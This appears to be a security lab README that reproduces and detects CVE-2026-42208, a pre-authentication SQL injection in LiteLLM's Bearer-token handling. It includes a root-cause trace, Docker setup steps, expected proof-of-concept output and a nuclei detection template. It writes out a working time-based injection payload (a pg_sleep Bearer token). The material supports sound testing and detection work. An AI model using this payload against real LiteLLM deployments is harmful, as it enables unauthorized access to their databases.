CVE-2026-42208 — LiteLLM Pre-Authentication SQL Injection

A lab environment for reproducing and detecting CVE-2026-42208, a critical pre-authentication SQL injection vulnerability in LiteLLM where unsanitized Bearer tokens reach a raw PostgreSQL query.

Vulnerability Overview

Field	Details
CVE ID	CVE-2026-42208
GHSA	GHSA-r75f-5x8p-qvmc
CVSS	9.3 (Critical) — `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`
Affected versions	>= 1.81.16, < 1.83.7
Patched	v1.83.7 (parameterized query)
CWE	CWE-89 (SQL Injection)

Root Cause

Vulnerable (v1.83.6):
  POST /v1/chat/completions
  Authorization: Bearer <payload>   ← payload does NOT start with "sk-"
    → api_key.startswith("sk-") assertion fails  (utils.py:1189)
    → caught by except Exception                  (utils.py:1560)
    → _handle_authentication_error(api_key=RAW_PAYLOAD)
    → _enrich_failure_metadata_with_key_info()
    → get_data(token=RAW_PAYLOAD, table_name="combined_view")
    → SQL: WHERE v.token = '{payload}'  ← injection

Patched (v1.83.7):
  Same request path, but:
    → get_data(token=hashed_token, ...)
    → SQL: WHERE v.token = $1          ← parameterized, no injection

Attack Prerequisites

Lab Architecture

Host Machine
├── localhost:8010 ──→ Docker: litellm-vuln    (v1.83.6-nightly  ⚠ VULNERABLE)
│                      Docker: litellm-db-vuln  (PostgreSQL 15)
└── localhost:8011 ──→ Docker: litellm-patched (v1.83.7-stable   ✓ PATCHED)
                       Docker: litellm-db-patched (PostgreSQL 15)

Prerequisites

Tool	Install
Docker Desktop	docker.com
nuclei	`brew install nuclei`
curl, python3	pre-installed on macOS

How to Run

Step 1 — Set up lab environment

bash scripts/01-setup.sh

When done:

══════════════════════════════════════════════════════
 Lab ready!
 Vulnerable (v1.83.6-nightly) : http://localhost:8010
 Patched    (v1.83.7-stable)  : http://localhost:8011
 Master Key : sk-lab-master-key
 Next: bash scripts/02-exploit.sh
══════════════════════════════════════════════════════

Step 2 — Trigger the CVE

bash scripts/02-exploit.sh

Expected output — vulnerable (v1.83.6-nightly):

── Vulnerable (v1.83.6-nightly, port 8010) ──
  Baseline    : 0.031s
  Injection   : 6.062s  (HTTP 401)
  Delta       : +6.031s
  ⚠  RESULT: pg_sleep fired — SQL INJECTION CONFIRMED (VULNERABLE)

Expected output — patched (v1.83.7-stable):

── Patched    (v1.83.7-stable,  port 8011) ──
  Baseline    : 0.028s
  Injection   : 0.029s  (HTTP 401)
  Delta       : +0.001s
  ✓  RESULT: No significant delay — injection not executed (PATCHED)

Step 3 — Nuclei detection

# Vulnerable instance → should produce a [critical] finding
nuclei -t nuclei/CVE-2026-42208.yaml -u http://localhost:8010

# Patched instance → should produce no findings
nuclei -t nuclei/CVE-2026-42208.yaml -u http://localhost:8011

Vulnerable (v1.83.6-nightly):

Nuclei detection — vulnerable

Patched (v1.83.7-stable):

Nuclei detection — patched

Step 4 — Teardown

bash scripts/99-teardown.sh

Directory Structure

litellm-cve-2026-42208/
├── README.md
├── VULNERABILITY_ANALYSIS.md       # Code-level analysis (English)
├── LAB_SETUP_GUIDE.md              # Lab setup guide (English)
├── NUCLEI_TEMPLATE_GUIDE.md        # Nuclei template design (English)
├── docker-compose.yaml
│
├── REPORT/                         # Korean reports
│   ├── Vulnerability_Analysis_KR.md
│   ├── LAB_REPORT_KR.md
│   └── Nuclei_Template_Report_KR.md
│
├── nuclei/
│   └── CVE-2026-42208.yaml         # Nuclei detection template
│
└── scripts/
    ├── 01-setup.sh                 # Start containers, create seed key
    ├── 02-exploit.sh               # PoC: timing-based injection proof
    └── 99-teardown.sh              # Stop and remove all lab resources

Nuclei Template Detection Logic

Step 1  GET /health/liveliness
        → match "I am alive" in body
        → confirms target is a LiteLLM instance

Step 2  POST /v1/chat/completions
        Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NOT NULL --

        Matchers (AND — all must pass):
          status == 401           eliminates 504/502 false positives
          body contains           "auth_error" OR "Authentication Error"
                                  confirms LiteLLM auth path, not a proxy
          duration >= 5           pg_sleep(6) fired → injection confirmed

False positive prevention:

status == 401 eliminates responses from upstream timeouts (504) and gateway errors (502)
Body keyword match confirms the 401 came from LiteLLM's auth handling, not a WAF or proxy
duration >= 5 is sufficiently high to exclude network jitter (baseline is ≤0.5s)

References

Warning: All credentials in this lab are fake test data for security research purposes only. Never use in production. Always obtain explicit authorization before scanning systems you do not own.

1	Affected LiteLLM version	>= 1.81.16, < 1.83.7
2	PostgreSQL backend	SQLite deployments are unaffected
3	No authentication required	Pre-auth; zero credentials needed
4	≥1 row in VerificationToken	pg_sleep only fires per row; empty table = no delay

poc_cve-2026-42208

Most Popular